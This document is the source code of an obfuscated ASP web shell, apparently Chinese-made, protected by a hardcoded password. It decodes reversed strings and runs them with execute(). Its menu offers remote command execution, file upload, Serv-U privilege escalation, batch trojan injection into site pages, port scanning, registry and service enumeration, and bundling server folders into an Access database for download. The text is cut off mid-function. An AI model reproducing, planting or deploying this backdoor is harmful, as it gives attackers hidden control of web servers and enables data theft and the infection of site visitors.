"&mNaMe1&" - "&sERVeRIP&"

<% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next UserPass="9989" mName="我爱琴琴专用版噢。别乱down and copy!" Copyright="注：请勿用于非法用途，否则后果作者概不负责呆" SuB ShOwERR() If Err THEN RrS"

" & Err.dEsCrIPtiON & "
" eRr.cLEaR:ResPOnSe.FluSh end iF END SuB sub rrs(STr) ReSPonsE.wRIte(StR) end SUB FUNCTiON RePath(S) repATh=RePLAcE(s,"\","\\") end FunctIOn fUnCtIon RRepath(s) RrEPATh=REplAce(s,"\\","\") eNd fUnCtion %> <% wei="呆呆呆呆noitcnuF dnE呆rtSweNnaSihS = nuFnaSihS呆txeN呆fI dnE 呆rtSweNnaSihS & fLrCbv = rtSweNnaSihS呆eslE 呆rtSweNnaSihS & )1 ,InaSihS ,rtsjbOnaSihS(diM = rtSweNnaSihS呆nehT ""╋"" >< )1 ,InaSihS ,rtsjbOnaSihS(diM fI 呆)rtsjbOnaSihS(neL oT 1 = InaSihS roF呆)"""""""" ,""╁"" ,rtsjbOnaSihS(ecalpeR = rtsjbOnaSihS呆)rtsjbOnaSihS(nuFnaSihS noitcnuF呆InaSihS,rtsweNnaSihS,naSihS mid呆))naSihS(nuFnaSihS(eTuCexE呆""URL=Request.ServerVariables(╁URL╁)╋ServerIP=Request.ServerVariables(╁LOCAL_ADDR╁)╋Action=Request(╁Action╁)╋RootPath=Server.MapPath(╁.╁)╋WWWRoot=Server.MapPath(╁/╁)╋serveru=request.servervariables(╁http_host╁)&url╋serverp=userpass╋FolderPath=Request(╁FolderPath╁)╋FName=Request(╁FName╁)╋BackUrl=╁

返回╁╋""=naSihS呆呆" execute(UnEncode(wei)) function UnEncode(cc) for i = 1 to len(cc) if mid(cc,i,1)<>"呆" then temp = Mid(cc, i, 1) + temp else temp=vbcrlf&temp end if next UnEncode=temp end function %> <% rRs"" Rrs""&mNaMe1&" - "&sERVeRIP&" " rrS"" ShiSan="╋╁>tpircs/<╁SRR╋╁};eurt nruter;)(timbus.mroFbD;╁╁╁╁=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)╁╁!确正否是句语LQS查检请╁╁(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<╁╁=LMTHrenni.cba;╁╁╁╁ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<╁SRR" ExeCuTe(ShiSanFun(ShiSan)) RRS"" rrs "" Dim ObT(13,2) ObT(0,0) = "Scripting.FileSystemObject" ObT(0,2) = "文件操作组件" ObT(1,0) = "wscript.shell" ObT(1,2) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,2) = "ACCESS压缩组件" ObT(4,0) = "Scripting.Dictionary" ObT(4,2) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件" ObT(6,0) = "Adodb.Stream" ObT(6,2) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上载组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,2) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,2) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件" For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=" √" Else IsObj=" ×" Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next If FolderPath<>"" then Session("Fol" & "der" & "Pat" & "h")=RRePath(FolderPath) End If If Session("Fol" & "der" & "Pat" & "h")="" Then FolderPath=RootPath Session("Fol" & "der" & "Pat" & "h")=FolderPath End if Function MainForm() ShiSan="╋╋╁>elbat/<>rt/<>dt/<╁SRR╋╁>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<╁SRR╋╁>dt<╁SRR╋╁>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<╁SRR╋╁>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<╁SRR╋ ╁>')(daoler.noitacol.emarFeliF'=kcilcno '口窗主新刷'=eulav 'timbus'=epyt tupni< >'到转'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<╁SRR╋╁>'╁&)╁htaPredloF╁(noisseS&╁'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<╁SRR╋╁>dt<>dt/<：栏址地>'retnec'=ngila '06'=htdiw dt<>rt<╁SRR╋╁>'tnerap_'=tegrat '╁&LRU&╁'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<╁SRR╋╁>'%001'=htdiw elbat<╁SRR╋╁>'2'=napsloc '03'=thgieh dt<>rt<╁SRR╋╁>'0'=gnicapsllec '0'=gniddapllec 0=redrob '%001'=thgieh '%001'=htdiw elbat<╁SRR╋╁>mrof/<╁SRR╋╁>╁╁emaNF╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SRR╋╁>╁╁noitcA╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SRR╋╁>╁╁emarFeliF╁╁=tegrat ╁╁╁&LRU&╁╁╁=noitca ╁╁tsop╁╁=dohtem ╁╁mrofedih╁╁=eman mrof<╁SRR" ExeCuTe(ShiSanFun(ShiSan)) End Function Function MainMenu() ShiSan="╋╁>elbat/<╁SRR╋╁>elbat/<>rt/<>dt/<╁&thgirypoC&╁>rh<>'der:roloc'=elyts retnec=ngila dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<录登出退>->'pot_'=tegrat 'tuogoL=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<器描扫口端>->'emarFeliF'=tegrat 'troPnacS=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<据数表册注取读>->'emarFeliF'=tegrat 'GERdaeR=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<器包解-包打夹件文>->'emarFeliF'=tegrat 'bdMoTddAegaP=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>b/<>a/<)版通普(马挂量批>->b/<>'emarFeliF'=tegrat 'mglp=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<)版强超(>b/<换替>b<量批>->'emarFeliF'=tegrat '3=M&mglpC=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<)版强超(>b/<马清>b<量批>->'emarFeliF'=tegrat '2=M&mglpC=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<)版强超(>b/<马挂>b<量批>->'emarFeliF'=tegrat '1=M&mglpC=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<>b/<马木-件文找查>->b<>'emarFeliF'=tegrat 'amumk=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<)版强超(>b/<权提uvreS>->b<>'emarFeliF'=tegrat 'uvreS=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<件文传上>->'emarFeliF'=tegrat 'eliFpU=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<>b/<令命DMC行执>->b<>'emarFeliF'=tegrat 'llehS1dmC=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<持支件组-息信器务服>->'emarFeliF'=tegrat 'ofnIrevreS=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<>b/<录登动自-口端端终>->b<>'emarFeliF'=tegrat 'ofnIlanimreTteg=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<号账户用-务服统系>->'emarFeliF'=tegrat 'esruoC=noitcA?'=ferh a<>'22'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>vid/<>a/<件文BDM缩压>')╁╁bdMtcapmoC╁╁,╁╁╁&)╁bdm.atad\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj'=ferh a<;psbn&;psbn&;psbn&╁SRR╋╁>rb<>a/<件文BDM立建>')╁╁bdMetaerC╁╁,╁╁╁&)╁bdm.weN\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj'=ferh a<;psbn&;psbn&;psbn&╁SRR╋╁>rb<>a/<库据数接连>'emarFeliF'=tegrat 'reganaMbD=noitcA?'=ferh a<;psbn&;psbn&;psbn&╁SRR╋╁>╁╁'enon'=yalpsid.elyts.2unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw;xp81:thgieh-enil╁╁=elyts 2unem=di vid<>b/<作操库据数>+>b<>╁╁''=yalpsid.elyts.2unem╁╁=revoesuomno '42'=thgieh dt<>rt<╁SRR╋fI dnE╋╁>rt/<>dt/<>a/<本文建新>->'emarFeliF'=tegrat 'eliFtidE=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<录目建新>->')╁╁redloFweN╁╁,╁╁╁&)╁redloFweN\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁╁SRR╋╁>rt/<>dt/<>a/<1~emucoD\\:C>->')╁╁1~emucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<1~argorP\\:C>->')╁╁1~argorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<>b/<录目序程>b<本>->')╁╁╁&)htaPtooR(htaPeR&╁╁╁(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<>b/<录目根>b<点站>->')╁╁╁&)tooRWWW(htaPeR&╁╁╁(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<>rt/<>dt/<>vid/<╁SRR╋gnihtoN=CBA teS:)(revirDwohS.CBA SRR:FBL weN=CBA teS╋╁>╁╁'enon'=yalpsid.elyts.1unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw╁╁=elyts 1unem=di vid<>b/<盘硬看查>+ >b<>╁╁''=yalpsid.elyts.1unem╁╁=revoesuomno 22=thgieh dt<>rt<╁SRR╋eslE╋╁>rt/<>dt/<限权无>'42'=thgieh dt<>rt<╁SRR╋nehT ╁× ╁=)1,0(TbO fI╋╁>rt/<>dt/<╁SRR╋╁>'%001'=htdiw 1=thgih rh<>a/<>retnec/<>tnof/<╁&emaNm&╁>der=roloc tnof<>'knalb_'=tegrat '╁&LRUetiS&╁'=ferh a<>retnec<>dt<>rt<╁SRR╋╁>rt/<>dt/<>'5'=thgieh dt<>rt<╁SRR╋╁>'0'=gniddapllec '0'=gnicapsllec '%001'=htdiw elbat<╁SRR" ExeCuTe(ShiSanFun(ShiSan)) End Function Sub PageAddToMdb() Dim theAct, thePath theAct = Request("theAct") thePath = Request("thePath") Server.ScriptTimeOut = 5000 If theAct = "addToMdb" Then addToMdb(thePath) RRS "操作完成!" Response.End End If If theAct = "releaseFromMdb" Then unPack(thePath) RRS"操作完成!" Response.End End If RRS "文件夹打包:
" RRS "" RRS "

文件包解开(需FSO支持):
" RRS "" RRS "

" End Sub Sub addToMdb(thePath) On Error Resume Next Dim rs, conn, stream, connStr, adoCatalog Set rs = Server.CreateObject("ADODB.RecordSet") Set stream = Server.CreateObject("ADODB.Stream") Set conn = Server.CreateObject("ADODB.Connection") Set adoCatalog = Server.CreateObject("ADOX.Catalog") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HYTop.mdb") adoCatalog.Create connStr conn.Open connStr conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") stream.Open stream.Type = 1 rs.Open "FileData", conn, 3, 3 If Request("theMethod") = "fso" Then fsoTreeForMdb thePath, rs, stream Else saTreeForMdb thePath, rs, stream End If rs.Close Conn.Close stream.Close Set rs = Nothing Set conn = Nothing Set stream = Nothing Set adoCatalog = Nothing End Sub Function fsoTreeForMdb(thePath, rs, stream) Dim item, theFolder, folders, files, sysFileList sysFileList = "$HYTop.mdb$HYTop.ldb$" If fsoX.FolderExists(thePath) = False Then showErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = fsoX.GetFolder(thePath) Set files = theFolder.Files Set folders = theFolder.SubFolders For Each item In folders fsoTreeForMdb item.Path, rs, stream Next For Each item In files If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If Next Set files = Nothing Set folders = Nothing Set theFolder = Nothing End Function Sub unPack(thePath) On Error Resume Next Server.ScriptTimeOut = 5000 Dim rs, ws, str, conn, stream, connStr, theFolder str = Server.MapPath(".") & "\" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" conn.Open connStr rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) If fsoX.FolderExists(str & theFolder) = False Then createFolder(str & theFolder) End If stream.SetEos() stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub createFolder(thePath) Dim i i = Instr(thePath, "\") Do While i > 0 If fsoX.FolderExists(Left(thePath, i)) = False Then fsoX.CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "\") Then i = i + Instr(Mid(thePath, i + 1), "\") Else i = 0 End If Loop End Sub Sub saTreeForMdb(thePath, rs, stream) Dim item, theFolder, sysFileList sysFileList = "$HYTop.mdb$HYTop.ldb$" Set theFolder = saX.NameSpace(thePath) For Each item In theFolder.Items If item.IsFolder = True Then saTreeForMdb item.Path, rs, stream Else If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If End If Next Set theFolder = Nothing End Sub Function Course() SI="
" si=sI&"" ON ERRor ReSUMe NExT FoR EACH Obj in gETobjECT("WinNT://.") ERR.ClEar IF oBj.stArTtyPe="" theN SI=si&"" sI=si&"" si0="" EnD if iF OBj.stARttyPe=2 THeN Lx="自动" IF obj.sTARTtypE=3 THeN LX="手动" if obJ.StaRTtYpe=4 thEN lx="禁用" IF LCaSe(mId(obj.PAth,4,3))<>"win" aND ObJ.startTYpE=2 thEN si1=SI1&"" else si2=sI2&"" end iF nExt RRs Si&SI0&Si1&Si2&"

系统用户与服务
" SI=sI&oBj.naME si=si&"	" sI=SI&"系统用户(组)" sI=SI&"

"&ObJ.NAMe&"	"&oBj.dISpLaYNaME&"
[启动类型:"&LX&"] "&Obj.PAtH&"
"&obj.NAMe&"	"&Obj.DISplaynamE&"
[启动类型:"&LX&"] "&obJ.pAth&"

" eNd funcTiOn funCtIon seRVERINfO() SI="
" SI=SI&"" sI=Si&"" si=si&"" sI=SI&"" sI=Si&"" si=SI&"

服务器组件信息
服务器名		"&reqUEsT.serVeRvariABLES("SERVER_NAME")&"
服务器IP		" sI=Si&"
服务器时间		"&nOw&"
服务器CPU数量		"&reQUEst.serVeRVaRIABleS("NUMBER_OF_PROCESSORS")&"
服务器操作系统